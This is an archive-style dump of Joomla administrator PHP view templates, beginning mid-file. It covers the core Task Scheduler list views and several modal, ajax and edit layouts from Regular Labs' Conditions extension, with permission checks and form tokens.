                    aria-label="<?php echo Text::sprintf('COM_MODULES_SELECT_MODULE', $name); ?>">
                    <div class="new-module-details">
                        <h3 class="new-module-title"><?php echo $name; ?></h3>
                        <p class="card-body new-module-caption p-0">
                            <?php echo $desc; ?>
                        </p>
                    </div>
                    <span class="new-module-link">
                        <span class="icon-plus" aria-hidden="true"></span>
                    </span>
                </a>
            <?php endforeach; ?>
        </div>
    </div>
</div>
tasks/empty_state.php000064400000001472151727602050010751 0ustar00<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_scheduler
 *
 * @copyright   (C) 2021 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Factory;
use Joomla\CMS\Layout\LayoutHelper;

$displayData = [
    'textPrefix' => 'COM_SCHEDULER',
    'formURL' => 'index.php?option=com_scheduler&task=task.add',
    'helpURL' => 'https://docs.joomla.org/Special:MyLanguage/J4.x:Task_Scheduler',
    'icon' => 'icon-clock clock',
];

if (Factory::getApplication()->getIdentity()->authorise('core.create', 'com_scheduler')) {
    $displayData['createURL'] = 'index.php?option=com_scheduler&view=select&layout=default';
}

echo LayoutHelper::render('joomla.content.emptystate', $displayData);
tasks/default.php000064400000033723151727602050010043 0ustar00<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_scheduler
 *
 * @copyright   (C) 2021 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

// Restrict direct access
defined('_JEXEC') or die;

use Joomla\CMS\Application\CMSWebApplicationInterface;
use Joomla\CMS\Factory;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Layout\LayoutHelper;
use Joomla\CMS\Router\Route;
use Joomla\CMS\Session\Session;
use Joomla\Component\Scheduler\Administrator\Task\Status;
use Joomla\Component\Scheduler\Administrator\View\Tasks\HtmlView;

/** @var  HtmlView  $this*/

/** @var \Joomla\CMS\WebAsset\WebAssetManager $wa */
$wa = $this->document->getWebAssetManager();
$wa->useScript('table.columns')
    ->useScript('multiselect')
    ->useScript('com_scheduler.test-task')
    ->useStyle('com_scheduler.admin-view-tasks-css');

Text::script('COM_SCHEDULER_TEST_RUN_TITLE');
Text::script('COM_SCHEDULER_TEST_RUN_TASK');
Text::script('COM_SCHEDULER_TEST_RUN_DURATION');
Text::script('COM_SCHEDULER_TEST_RUN_OUTPUT');
Text::script('COM_SCHEDULER_TEST_RUN_STATUS_STARTED');
Text::script('COM_SCHEDULER_TEST_RUN_STATUS_COMPLETED');
Text::script('COM_SCHEDULER_TEST_RUN_STATUS_TERMINATED');
Text::script('JLIB_JS_AJAX_ERROR_OTHER');
Text::script('JLIB_JS_AJAX_ERROR_CONNECTION_ABORT');
Text::script('JLIB_JS_AJAX_ERROR_TIMEOUT');
Text::script('JLIB_JS_AJAX_ERROR_NO_CONTENT');
Text::script('JLIB_JS_AJAX_ERROR_PARSE');

try {
    /** @var CMSWebApplicationInterface $app */
    $app = Factory::getApplication();
} catch (Exception $e) {
    die('Failed to get app');
}

$user = $app->getIdentity();
$userId = $user->get('id');
$listOrder = $this->escape($this->state->get('list.ordering'));
$listDirn = $this->escape($this->state->get('list.direction'));
$saveOrder = $listOrder == 'a.ordering';
$section = null;
$mode = false;

if ($saveOrder && !empty($this->items)) {
    $saveOrderingUrl = 'index.php?option=com_scheduler&task=tasks.saveOrderAjax&tmpl=component&' . Session::getFormToken() . '=1';
    HTMLHelper::_('draggablelist.draggable');
}

$this->document->addScriptOptions('com_scheduler.test-task.token', Session::getFormToken());
?>

<form action="<?php echo Route::_('index.php?option=com_scheduler&view=tasks'); ?>" method="post" name="adminForm"
      id="adminForm">
    <div id="j-main-container" class="j-main-container">
        <?php
        // Search tools bar
        echo LayoutHelper::render('joomla.searchtools.default', ['view' => $this]);
        ?>

        <!-- If no tasks -->
        <?php if (empty($this->items)) : ?>
            <!-- No tasks -->
            <div class="alert alert-info">
                <span class="icon-info-circle" aria-hidden="true"></span><span
                        class="visually-hidden"><?php echo Text::_('INFO'); ?></span>
                <?php echo Text::_('JGLOBAL_NO_MATCHING_RESULTS'); ?>
            </div>
        <?php endif; ?>

        <!-- If there are tasks, we start with the table -->
        <?php if (!empty($this->items)) : ?>
            <!-- Tasks table starts here -->
            <table class="table" id="categoryList">

                <caption class="visually-hidden">
                    <?php echo Text::_('COM_SCHEDULER_TABLE_CAPTION'); ?>,
                    <span id="orderedBy"><?php echo Text::_('JGLOBAL_SORTED_BY'); ?> </span>,
                    <span id="filteredBy"><?php echo Text::_('JGLOBAL_FILTERED_BY'); ?></span>
                </caption>

                <!-- Tasks table header -->
                <thead>
                <tr>

                    <!-- Select all -->
                    <td class="w-1 text-center">
                        <?php echo HTMLHelper::_('grid.checkall'); // "Select all" checkbox
                        ?>
                    </td>

                    <!-- Ordering?-->
                    <th scope="col" class="w-1 d-none d-md-table-cell text-center">
                        <!-- Might need to adjust method args here -->
                        <?php echo HTMLHelper::_('searchtools.sort', '', 'a.ordering', $listDirn, $listOrder, null, 'asc', 'JGRID_HEADING_ORDERING', 'icon-sort'); ?>
                    </th>
                    <!-- Task State -->
                    <th scope="col" class="w-1 text-center">
                        <?php echo HTMLHelper::_('searchtools.sort', 'JSTATUS', 'a.state', $listDirn, $listOrder); ?>
                    </th>

                    <!-- Task title header -->
                    <th scope="col">
                        <?php echo HTMLHelper::_('searchtools.sort', 'JGLOBAL_TITLE', 'a.title', $listDirn, $listOrder); ?>
                    </th>

                    <!-- Task type header -->
                    <th scope="col" class="d-none d-md-table-cell">
                        <?php echo HTMLHelper::_('searchtools.sort', 'COM_SCHEDULER_TASK_TYPE', 'j.type_title', $listDirn, $listOrder) ?>
                    </th>

                    <!-- Last runs -->
                    <th scope="col" class="d-none d-lg-table-cell">
                        <?php echo HTMLHelper::_('searchtools.sort', 'COM_SCHEDULER_LAST_RUN_DATE', 'a.last_execution', $listDirn, $listOrder) ?>
                    </th>

                    <!-- Test task -->
                    <th scope="col" class="d-none d-md-table-cell">
                        <?php echo Text::_('COM_SCHEDULER_TEST_TASK'); ?>
                    </th>

                    <!-- Priority -->
                    <th scope="col" class="d-none d-lg-table-cell">
                        <?php echo HTMLHelper::_('searchtools.sort', 'COM_SCHEDULER_TASK_PRIORITY', 'a.priority', $listDirn, $listOrder) ?>
                    </th>

                    <!-- Task ID -->
                    <th scope="col" class="w-5 d-none d-md-table-cell">
                        <?php echo HTMLHelper::_('searchtools.sort', 'JGRID_HEADING_ID', 'a.id', $listDirn, $listOrder); ?>
                    </th>
                </tr>
                </thead>

                <!-- Table body begins -->
                <tbody <?php if ($saveOrder) : ?>
                    class="js-draggable" data-url="<?php echo $saveOrderingUrl; ?>" data-direction="<?php echo strtolower($listDirn); ?>" data-nested="true" <?php
                       endif; ?>>
                <?php foreach ($this->items as $i => $item) :
                    $canCreate  = $user->authorise('core.create', 'com_scheduler');
                    $canEdit    = $user->authorise('core.edit', 'com_scheduler');
                    $canCheckin = $user->authorise('core.manage', 'com_checkin') || $item->checked_out == $userId || is_null($item->checked_out);
                    $canChange  = $user->authorise('core.edit.state', 'com_scheduler') && $canCheckin;
                    ?>

                    <!-- Row begins -->
                    <tr class="row<?php echo $i % 2; ?>"
                        data-draggable-group="none"
                    >
                        <!-- Item Checkbox -->
                        <td class="text-center">
                            <?php echo HTMLHelper::_('grid.id', $i, $item->id, false, 'cid', 'cb', $item->title); ?>
                        </td>

                        <!-- Draggable handle -->
                        <td class="text-center d-none d-md-table-cell">
                            <?php
                            $iconClass = '';
                            if (!$canChange) {
                                $iconClass = ' inactive';
                            } elseif (!$saveOrder) {
                                $iconClass = ' inactive" title="' . Text::_('JORDERINGDISABLED');
                            }
                            ?>

                            <span class="sortable-handler <?php echo $iconClass ?>">
                                    <span class="icon-ellipsis-v" aria-hidden="true"></span>
                            </span>

                            <?php if ($canChange && $saveOrder) : ?>
                                <input type="text" class="hidden text-area-order" name="order[]" size="5"
                                       value="<?php echo $item->ordering; ?>"
                                >
                            <?php endif; ?>
                        </td>

                        <!-- Item State -->
                        <td class="text-center">
                            <?php echo HTMLHelper::_('jgrid.published', $item->state, $i, 'tasks.', $canChange); ?>
                        </td>

                        <!-- Item name, edit link, and note (@todo: should it be moved?) -->
                        <th scope="row">
                            <?php if ($item->checked_out) : ?>
                                <?php echo HTMLHelper::_('jgrid.checkedout', $i, $item->editor, $item->checked_out_time, 'tasks.', $canCheckin); ?>
                            <?php endif; ?>
                            <?php if ($item->locked) : ?>
                                <?php echo HTMLHelper::_('jgrid.action', $i, 'unlock', ['enabled' => $canChange, 'prefix' => 'tasks.',
                                    'active_class' => 'none fa fa-running border-dark text-body',
                                    'inactive_class' => 'none fa fa-running', 'tip' => true, 'translate' => false,
                                    'active_title' => Text::sprintf('COM_SCHEDULER_RUNNING_SINCE', HTMLHelper::_('date', $item->last_execution, 'DATE_FORMAT_LC5')),
                                    'inactive_title' => Text::sprintf('COM_SCHEDULER_RUNNING_SINCE', HTMLHelper::_('date', $item->last_execution, 'DATE_FORMAT_LC5')),
                                    ]); ?>
                            <?php endif; ?>
                            <span class="task-title">
                                <?php if ($canEdit) : ?>
                                    <a href="<?php echo Route::_('index.php?option=com_scheduler&task=task.edit&id=' . $item->id); ?>"
                                        title="<?php echo Text::_('JACTION_EDIT'); ?> <?php echo $this->escape($item->title); ?>"> <?php echo $this->escape($item->title); ?>
                                    </a>
                                <?php else : ?>
                                     <?php echo $this->escape($item->title); ?>
                                <?php endif; ?>
                                <?php if (!in_array($item->last_exit_code, [Status::OK, Status::WILL_RESUME])) : ?>
                                    <span class="failure-indicator icon-exclamation-triangle" aria-hidden="true"></span>
                                    <div role="tooltip">
                                        <?php echo Text::sprintf("COM_SCHEDULER_MANAGER_TOOLTIP_TASK_FAILING", $item->last_exit_code); ?>
                                    </div>
                                <?php endif; ?>
                            </span>

                            <?php if ($item->note) : ?>
                                <span class="small">
                                    <?php echo Text::sprintf('JGLOBAL_LIST_NOTE', $this->escape($item->note)); ?>
                                </span>
                            <?php endif; ?>
                        </th>

                        <!-- Item type -->
                        <td class="small d-none d-md-table-cell">
                            <?php echo $this->escape($item->safeTypeTitle); ?>
                        </td>

                        <!-- Last run date -->
                        <td class="small d-none d-lg-table-cell">
                            <?php echo $item->last_execution ? HTMLHelper::_('date', $item->last_execution, 'DATE_FORMAT_LC5') : '-'; ?>
                        </td>

                        <!-- Test task -->
                        <td class="small d-none d-md-table-cell">
                            <button type="button" class="btn btn-sm btn-warning" <?php echo $item->state < 0 ? 'disabled' : ''; ?> data-id="<?php echo (int) $item->id; ?>" data-title="<?php echo htmlspecialchars($item->title); ?>" data-bs-toggle="modal" data-bs-backdrop="static" data-bs-target="#scheduler-test-modal">
                                <span class="fa fa-play fa-sm me-2"></span>
                                <?php echo Text::_('COM_SCHEDULER_TEST_RUN'); ?>
                            </button>
                        </td>

                        <!-- Priority -->
                        <td class="small d-none d-lg-table-cell">
                            <?php if ($item->priority === -1) : ?>
                                <span class="badge bg-info"><?php echo Text::_('COM_SCHEDULER_LABEL_TASK_PRIORITY_LOW'); ?></span>
                            <?php elseif ($item->priority === 0) : ?>
                                <span class="badge bg-success"><?php echo Text::_('COM_SCHEDULER_LABEL_TASK_PRIORITY_NORMAL'); ?></span>
                            <?php elseif ($item->priority === 1) : ?>
                                <span class="badge bg-danger"><?php echo Text::_('COM_SCHEDULER_LABEL_TASK_PRIORITY_HIGH'); ?></span>
                            <?php endif; ?>
                        </td>

                        <!-- Item ID -->
                        <td class="d-none d-md-table-cell">
                            <?php echo (int) $item->id; ?>
                        </td>
                    </tr>
                <?php endforeach; ?>
                </tbody>
            </table>

            <?php
                // Load the pagination. (@todo: testing)
                echo $this->pagination->getListFooter();

                // Modal for test runs
                $modalparams = [
                    'title' => '',
                ];

                $modalbody = '<div class="p-3"></div>';

                echo HTMLHelper::_('bootstrap.renderModal', 'scheduler-test-modal', $modalparams, $modalbody);

                ?>

        <?php endif; ?>

        <input type="hidden" name="task" value="">
        <input type="hidden" name="boxchecked" value="0">
        <?php echo HTMLHelper::_('form.token'); ?>
    </div>
</form>
tasks/default.xml000064400000000320151727602050010037 0ustar00<?xml version="1.0" encoding="UTF-8"?>
<metadata>
	<layout title="COM_SCHEDULER_TASKS_VIEW_DEFAULT_TITLE">
		<message>
			<![CDATA[COM_SCHEDULER_TASKS_VIEW_DEFAULT_DESC]]>
		</message>
	</layout>
</metadata>
items/modal.php000060400000015516151727741610007511 0ustar00<?php
/**
 * @package         Conditions
 * @version         25.7.12430
 * 
 * @author          Peter van Westen <info@regularlabs.com>
 * @link            https://regularlabs.com
 * @copyright       Copyright © 2025 Regular Labs All Rights Reserved
 * @license         GNU General Public License version 2 or later
 */

defined('_JEXEC') or die;

use Joomla\CMS\Factory as JFactory;
use Joomla\CMS\Filter\OutputFilter as JFilterOutput;
use Joomla\CMS\HTML\HTMLHelper as JHtml;
use Joomla\CMS\Language\Text as JText;
use Joomla\CMS\Layout\LayoutHelper as JLayout;
use Joomla\CMS\Router\Route as JRoute;
use RegularLabs\Library\Document as RL_Document;
use RegularLabs\Library\Input as RL_Input;
use RegularLabs\Library\StringHelper as RL_String;

$extension     = RL_Input::getCmd('extension');
$item_id       = RL_Input::getInt('item_id');
$table         = RL_Input::getCmd('table');
$name_column   = RL_Input::getCmd('name_column');
$enabled_types = RL_Input::getString('enabled_types');
$message       = RL_Input::get('message', '');

if (empty($extension))
{
    JFactory::getApplication()->enqueueMessage(
        JText::_('Direct access forbidden.'),
        'error'
    );

    return;
}

RL_Document::style('regularlabs.admin-form');

$listOrder = RL_String::escape($this->state->get('list.ordering'));
$listDirn  = RL_String::escape($this->state->get('list.direction'));
$ordering  = ($listOrder == 'a.name');

$user       = JFactory::getApplication()->getIdentity() ?: JFactory::getUser();
$canCreate  = $user->authorise('core.create', 'com_conditions');
$canEdit    = $user->authorise('core.edit', 'com_conditions');
$canChange  = $user->authorise('core.edit.state', 'com_conditions');
$canCheckin = $user->authorise('core.manage', 'com_checkin');

$form_url = 'index.php?option=com_conditions&view=items'
    . '&layout=modal&tmpl=component'
    . '&extension=' . $extension
    . '&item_id=' . $item_id
    . '&table=' . $table
    . '&enabled_types=' . $enabled_types
    . '&message=' . $message
    . '&name_column=' . $name_column;
$link_url = 'index.php?option=com_conditions&view=item'
    . '&task=item.map'
    . '&extension=' . $extension
    . '&item_id=' . $item_id
    . '&table=' . $table
    . '&enabled_types=' . $enabled_types
    . '&message=' . $message
    . '&name_column=' . $name_column;

$this->filterForm && $this->filterForm->removeField('state', 'filter');

?>
<form action="<?php echo JRoute::_($form_url); ?>"
      method="post" name="adminForm" id="adminForm" enctype="multipart/form-data">
    <?php
    // Search tools bar
    echo JLayout::render('joomla.searchtools.default', ['view' => $this]);
    ?>
    <table class="table table-striped" id="itemList">
        <thead>
            <tr>
                <th scope="col" class="">
                    <?php echo JHtml::_('searchtools.sort', 'JGLOBAL_TITLE', 'a.name', $listDirn, $listOrder); ?>
                </th>
                <th scope="col" class="d-none d-md-table-cell">
                    <?php echo JHtml::_('searchtools.sort', 'JGLOBAL_DESCRIPTION', 'a.description', $listDirn, $listOrder); ?>
                </th>
                <th scope="col" class="w-1 text-nowrap text-center d-none d-md-table-cell">
                    <?php echo JText::_('CON_USAGE'); ?>
                </th>
                <th scope="col" class="w-1 text-nowrap text-center d-none d-md-table-cell">
                    <?php echo JHtml::_('searchtools.sort', 'JGRID_HEADING_ID', 'a.id', $listDirn, $listOrder); ?>
                </th>
            </tr>
        </thead>
        <tbody>
            <?php if (empty($this->items)): ?>
                <tr>
                    <td colspan="4">
                        <?php echo JText::_('RL_NO_ITEMS_FOUND'); ?>
                    </td>
                </tr>
            <?php else: ?>
                <?php foreach ($this->items as $i => $item) : ?>
                    <?php
                    $canCheckinItem = ($canCheckin || $item->checked_out == 0 || $item->checked_out == $user->get('id'));
                    $canChangeItem  = ($canChange && $canCheckinItem);
                    $isPublished    = $item->published === 1;

                    $description = explode('---', $item->description);
                    ?>
                    <tr class="row<?php echo $i % 2; ?><?php echo $isPublished ? '' : ' muted'; ?>" data-draggable-group="<?php echo JFilterOutput::stringURLSafe($item->category) ?: 'no-group'; ?>">
                        <td>
                            <?php if ($isPublished) : ?>
                                <a class="btn btn-primary" title="<?php echo JText::sprintf('JFIELD_ALIAS_LABEL', RL_String::escape($item->alias)); ?>"
                                   href="<?php echo JRoute::_($link_url . '&id=' . $item->id); ?>">
                                    <?php echo RL_String::escape($item->name); ?>
                                </a>
                            <?php else: ?>
                                <?php echo RL_String::escape($item->name); ?>
                            <?php endif; ?>

                            <div class="small break-word">
                                <?php echo JText::sprintf('JGLOBAL_LIST_ALIAS', RL_String::escape($item->alias)); ?>
                            </div>
                            <?php if ($item->category) : ?>
                                <div class="small">
                                    <?php echo JText::_('JCATEGORY') . ': '; ?>
                                    <span class="badge bg-info rl-badge">
                                        <?php echo RL_String::escape($item->category); ?>
                                    </span>
                                </div>
                            <?php endif; ?>
                        </td>
                        <td class="d-none d-md-table-cell">
                            <span><?php echo nl2br(RL_String::escape(trim($description[0]))); ?></span>
                            <?php if ( ! empty($description[1])) : ?>
                                <div role="tooltip"><?php echo nl2br(RL_String::escape(trim($description[1]))); ?></div>
                            <?php endif; ?>
                        </td>
                        <td class="text-center d-none d-md-table-cell">
                            <span class="badge bg-secondary<?php echo ! $item->nr_of_uses ? ' opacity-50' : ''; ?>">
                                <?php echo $item->nr_of_uses; ?>
                            </span>
                        </td>
                        <td class="text-center d-none d-md-table-cell">
                            <?php echo (int) $item->id; ?>
                        </td>
                    </tr>
                <?php endforeach; ?>
            <?php endif; ?>
        </tbody>
    </table>

    <?php // load the pagination. ?>
    <?php echo $this->pagination->getListFooter(); ?>

    <?php echo JHtml::_('form.token'); ?>
</form>
items/modal_update_summary.php000060400000003042151727741610012617 0ustar00<?php
/**
 * @package         Conditions
 * @version         25.7.12430
 * 
 * @author          Peter van Westen <info@regularlabs.com>
 * @link            https://regularlabs.com
 * @copyright       Copyright © 2025 Regular Labs All Rights Reserved
 * @license         GNU General Public License version 2 or later
 */

defined('_JEXEC') or die;

use Joomla\CMS\Factory as JFactory;
use RegularLabs\Library\Document as RL_Document;
use RegularLabs\Library\Input as RL_Input;

$extension     = RL_Input::getCmd('extension');
$item_id       = RL_Input::getInt('item_id');
$id            = RL_Input::getInt('id');
$enabled_types = RL_Input::getString('enabled_types');
$message       = RL_Input::get('message', '');

$update = 'parent.RegularLabs.Conditions.updateSummaryByExtension("' . $extension . '", ' . $item_id . ', "' . $message . '", "' . $enabled_types . '");';

if ($id)
{
    $update = 'parent.RegularLabs.Conditions.updateSummaryByCondition(' . $id . ', "' . $extension . '", "' . $message . '", "' . $enabled_types . '");';
}

$script = '
    const modal = window.parent.Joomla.Modal && window.parent.Joomla.Modal.getCurrent();

    if (modal) {
        modal.addEventListener("shown.bs.modal", () => {
            setTimeout(()=>{modal.close();}, 500);
        });
        modal.addEventListener("hidden.bs.modal", () => {
            ' . $update . '
        });
        modal.close();
    } else {
        ' . $update . '
    }
';

RL_Document::scriptDeclaration($script, 'ConditionsModal', true, 'after');
?>
<div class="rl-spinner rl-spinner-lg"></div>
item/modal_remove_mapping.php000060400000004400151727741610012404 0ustar00<?php
/**
 * @package         Conditions
 * @version         25.7.12430
 * 
 * @author          Peter van Westen <info@regularlabs.com>
 * @link            https://regularlabs.com
 * @copyright       Copyright © 2025 Regular Labs All Rights Reserved
 * @license         GNU General Public License version 2 or later
 */

defined('_JEXEC') or die;

use Joomla\CMS\Factory as JFactory;
use Joomla\CMS\Language\Text as JText;
use Joomla\CMS\Router\Route as JRoute;
use RegularLabs\Library\Input as RL_Input;

$user      = JFactory::getApplication()->getIdentity() ?: JFactory::getUser();
$canDelete = $user->authorise('core.delete', 'com_conditions');

$extension   = RL_Input::getCmd('extension');
$item_id     = RL_Input::getInt('item_id');
$table       = RL_Input::getCmd('table');
$name_column = RL_Input::getCmd('name_column');

$current_item_name = $this->item->usage[$extension][$item_id]->item_name ?? null;

$url = 'index.php?option=com_conditions'
    . '&view=item'
    . '&id=' . $this->item->id
    . '&extension=' . $extension
    . '&item_id=' . $item_id
    . '&table=' . $table
    . '&name_column=' . $name_column
    . '&task=item.remove_mapping'
    . '&tmpl=component'
?>
<div class="text-center">
    <p>
        <?php echo JText::_('CON_ONLY_ITEM_USING_CONDITION'); ?>
        <?php if ($canDelete) : ?>
            <br>
            <?php echo JText::_('CON_WHAT_TO_DO'); ?>
        <?php endif; ?>
    </p>
    <p>
        <a class="btn btn-primary" title="<?php echo JText::_('CON_BUTTON_REMOVE', true); ?>"
           href="<?php echo JRoute::_($url . '&remove=1'); ?>">
            <span class="icon-times" aria-hidden="true"></span>
            <?php echo JText::sprintf('CON_BUTTON_CONFIRM_REMOVE_BUT_KEEP', $current_item_name ? ': ' . $current_item_name : ''); ?>
        </a>
        <?php if ($canDelete) : ?>
            <a class="btn btn-danger" title="<?php echo JText::_('CON_BUTTON_REMOVE', true); ?>"
               href="<?php echo JRoute::_($url . '&remove=all'); ?>"
               onclick="return confirm('<?php echo JText::_('RL_ARE_YOU_SURE', true); ?>')">
                <span class="icon-trash" aria-hidden="true"></span>
                <?php echo JText::_('CON_BUTTON_CONFIRM_REMOVE_COMPLETELY'); ?>
            </a>
        <?php endif; ?>
    </p>
</div>
item/modal_multiple_usage.php000060400000007043151727741610012421 0ustar00<?php
/**
 * @package         Conditions
 * @version         25.7.12430
 * 
 * @author          Peter van Westen <info@regularlabs.com>
 * @link            https://regularlabs.com
 * @copyright       Copyright © 2025 Regular Labs All Rights Reserved
 * @license         GNU General Public License version 2 or later
 */

defined('_JEXEC') or die;

use Joomla\CMS\Factory as JFactory;
use Joomla\CMS\Language\Text as JText;
use Joomla\CMS\Router\Route as JRoute;
use RegularLabs\Component\Conditions\Administrator\Helper\Helper;
use RegularLabs\Library\Input as RL_Input;
use RegularLabs\Library\StringHelper as RL_String;

$user      = JFactory::getApplication()->getIdentity() ?: JFactory::getUser();
$canCreate = $user->authorise('core.create', 'com_conditions');
$canEdit   = $user->authorise('core.edit', 'com_conditions');

$extension     = RL_Input::getCmd('extension');
$item_id       = RL_Input::getInt('item_id');
$table         = RL_Input::getCmd('table');
$name_column   = RL_Input::getCmd('name_column');
$enabled_types = RL_Input::getString('enabled_types');
$message       = RL_Input::get('message', '');

$current_item_name = $this->item->usage[$extension][$item_id]->item_name ?? null;

$url = 'index.php?option=com_conditions'
    . '&view=item'
    . '&id=' . $this->item->id
    . '&extension=' . $extension
    . '&item_id=' . $item_id
    . '&table=' . $table
    . '&name_column=' . $name_column
    . '&enabled_types=' . $enabled_types
    . '&message=' . $message
    . '&layout=modal_edit'
    . '&tmpl=component';
?>

<div class="alert alert-warning">
    <p><?php echo JText::_('CON_USED_ON'); ?></p>

    <?php if ( ! empty($this->item->name)) : ?>
        <h3><?php echo RL_String::escape($this->item->name); ?></h3>
    <?php endif; ?>

    <?php foreach ($this->item->usage as $extension_name => $extension_usage) : ?>
        <?php $extension_name = Helper::getExtensionName($extension_name); ?>
        <span class="badge badge-sm bg-secondary"><?php echo $extension_name; ?></span>
        <ul class="mb-1">
            <?php foreach ($extension_usage as $usage_item) : ?>
                <?php $is_current = ($usage_item->extension == $extension && $usage_item->item_id == $item_id); ?>
                <li>
                    <?php echo $is_current ? '<strong>' : ''; ?>
                    [<?php echo $usage_item->item_id; ?>] <?php echo $usage_item->item_name; ?>
                    <?php echo $is_current ? '</strong>' : ''; ?>
                </li>
            <?php endforeach; ?>
        </ul>
    <?php endforeach; ?>
</div>

<div class="text-center">
    <?php if ($canCreate && $canEdit) : ?>
        <p><?php echo JText::_('CON_WHAT_TO_DO'); ?></p>
    <?php endif; ?>
    <p>
        <?php if ($canCreate) : ?>
            <a class="btn btn-primary" title="<?php echo JText::_('CON_BUTTON_COPY', true); ?>"
               href="<?php echo JRoute::_($url . '&task=item.copy'); ?>">
                <span class="icon-copy" aria-hidden="true"></span>
                <?php echo JText::sprintf('CON_BUTTON_CONFIRM_COPY', $current_item_name ? ': ' . $current_item_name : ''); ?>
            </a>
        <?php endif; ?>
        <?php if ($canEdit) : ?>
            <a class="btn btn-warning" title="<?php echo JText::_('CON_BUTTON_EDIT', true); ?>"
               href="<?php echo JRoute::_($url . '&task=item.edit'); ?>">
                <span class="icon-edit" aria-hidden="true"></span>
                <?php echo JText::sprintf('CON_BUTTON_CONFIRM_EDIT', $current_item_name ? ': ' . $current_item_name : ''); ?>
            </a>
        <?php endif; ?>
    </p>
</div>
item/modal_update_summary.php000060400000003042151727741610012434 0ustar00<?php
/**
 * @package         Conditions
 * @version         25.7.12430
 * 
 * @author          Peter van Westen <info@regularlabs.com>
 * @link            https://regularlabs.com
 * @copyright       Copyright © 2025 Regular Labs All Rights Reserved
 * @license         GNU General Public License version 2 or later
 */

defined('_JEXEC') or die;

use Joomla\CMS\Factory as JFactory;
use RegularLabs\Library\Document as RL_Document;
use RegularLabs\Library\Input as RL_Input;

$extension     = RL_Input::getCmd('extension');
$item_id       = RL_Input::getInt('item_id');
$id            = RL_Input::getInt('id');
$enabled_types = RL_Input::getString('enabled_types');
$message       = RL_Input::get('message', '');

$update = 'parent.RegularLabs.Conditions.updateSummaryByExtension("' . $extension . '", ' . $item_id . ', "' . $message . '", "' . $enabled_types . '");';

if ($id)
{
    $update = 'parent.RegularLabs.Conditions.updateSummaryByCondition(' . $id . ', "' . $extension . '", "' . $message . '", "' . $enabled_types . '");';
}

$script = '
    const modal = window.parent.Joomla.Modal && window.parent.Joomla.Modal.getCurrent();

    if (modal) {
        modal.addEventListener("shown.bs.modal", () => {
            setTimeout(()=>{modal.close();}, 500);
        });
        modal.addEventListener("hidden.bs.modal", () => {
            ' . $update . '
        });
        modal.close();
    } else {
        ' . $update . '
    }
';

RL_Document::scriptDeclaration($script, 'ConditionsModal', true, 'after');
?>
<div class="rl-spinner rl-spinner-lg"></div>
item/modal.php000060400000000647151727741610007325 0ustar00<?php
/**
 * @package         Conditions
 * @version         25.7.12430
 * 
 * @author          Peter van Westen <info@regularlabs.com>
 * @link            https://regularlabs.com
 * @copyright       Copyright © 2025 Regular Labs All Rights Reserved
 * @license         GNU General Public License version 2 or later
 */

defined('_JEXEC') or die;

?>
<div class="alert alert-error">
    Oops, something went wromg!
</div>
item/ajax.php000060400000005021151727741610007143 0ustar00<?php
/**
 * @package         Conditions
 * @version         25.7.12430
 * 
 * @author          Peter van Westen <info@regularlabs.com>
 * @link            https://regularlabs.com
 * @copyright       Copyright © 2025 Regular Labs All Rights Reserved
 * @license         GNU General Public License version 2 or later
 */

defined('_JEXEC') or die;

use RegularLabs\Component\Conditions\Administrator\Helper\Summary;
use RegularLabs\Component\Conditions\Administrator\Model\ItemModel;
use RegularLabs\Library\Input as RL_Input;

echo (new Conditions)->render();
die;

class Conditions
{
    private $extension = '';
    private $message   = '';

    public function getCondition()
    {
        $id            = RL_Input::getInt('id');
        $enabled_types = RL_Input::getString('enabled_types');

        if ($id)
        {
            return (new ItemModel)->getConditionById($id, false, $enabled_types);
        }

        $extension = RL_Input::getCmd('extension');
        $item_id   = RL_Input::getInt('item_id');

        if ($extension && $item_id)
        {
            return (new ItemModel)->getConditionByExtensionItem($extension, $item_id, false, $enabled_types);
        }

        $data = [];

        $form = RL_Input::getRaw('form', []);

        foreach ($form as $key => $value)
        {
            $key        = str_replace('jform[', '', $key);
            $data[$key] = $value;
        }

        if (isset($data['extension']))
        {
            $this->extension = $data['extension'];
        }

        if (isset($data['message']))
        {
            $this->message = $data['message'];
        }

        if (isset($data['enabled_types']))
        {
            $enabled_types = $data['enabled_types'];
            unset($data['enabled_types']);
        }

        return (new ItemModel)->getConditionFromData($data, $enabled_types);
    }

    public function render()
    {
        $condition = $this->getCondition();

        $extension = $this->extension ?: RL_Input::getCmd('extension');
        $message   = $this->message ?: RL_Input::get('message', '');

        if ($extension && $condition && $condition->published !== 1)
        {
            $condition = null;
        }

        return json_encode((object) [
            'has_conditions' => ! empty($condition),
            'id'             => $condition->id ?? '',
            'alias'          => $condition->alias ?? '',
            'name'           => $condition->name ?? '',
            'content'        => Summary::render($condition, $extension, $message),
        ]);
    }
}
item/modal_edit.php000060400000011454151727741610010330 0ustar00<?php
/**
 * @package         Conditions
 * @version         25.7.12430
 * 
 * @author          Peter van Westen <info@regularlabs.com>
 * @link            https://regularlabs.com
 * @copyright       Copyright © 2025 Regular Labs All Rights Reserved
 * @license         GNU General Public License version 2 or later
 */

defined('_JEXEC') or die;

use Joomla\CMS\Access\Exception\NotAllowed;
use Joomla\CMS\Factory as JFactory;
use Joomla\CMS\HTML\HTMLHelper as JHtml;
use Joomla\CMS\Language\Text as JText;
use Joomla\CMS\Layout\LayoutHelper as JLayout;
use Joomla\CMS\Router\Route as JRoute;
use RegularLabs\Library\Document as RL_Document;
use RegularLabs\Library\Input as RL_Input;
use RegularLabs\Library\Language as RL_Language;

$user    = JFactory::getApplication()->getIdentity() ?: JFactory::getUser();
$canEdit = $user->authorise('core.edit', 'com_conditions');

if ( ! $canEdit)
{
    throw new NotAllowed(JText::_('JERROR_ALERTNOAUTHOR'), 403);
}

$extension     = RL_Input::getCmd('extension');
$item_id       = RL_Input::getInt('item_id');
$id            = RL_Input::getInt('id');
$table         = RL_Input::getCmd('table');
$name_column   = RL_Input::getCmd('name_column');
$enabled_types = RL_Input::getString('enabled_types');
$message       = RL_Input::get('message', '');

RL_Document::useScript('keepalive');
RL_Document::useScript('form.validate');
RL_Document::usePreset('choicesjs');
RL_Document::useScript('webcomponent.field-fancy-select');
RL_Document::script('regularlabs.regular');
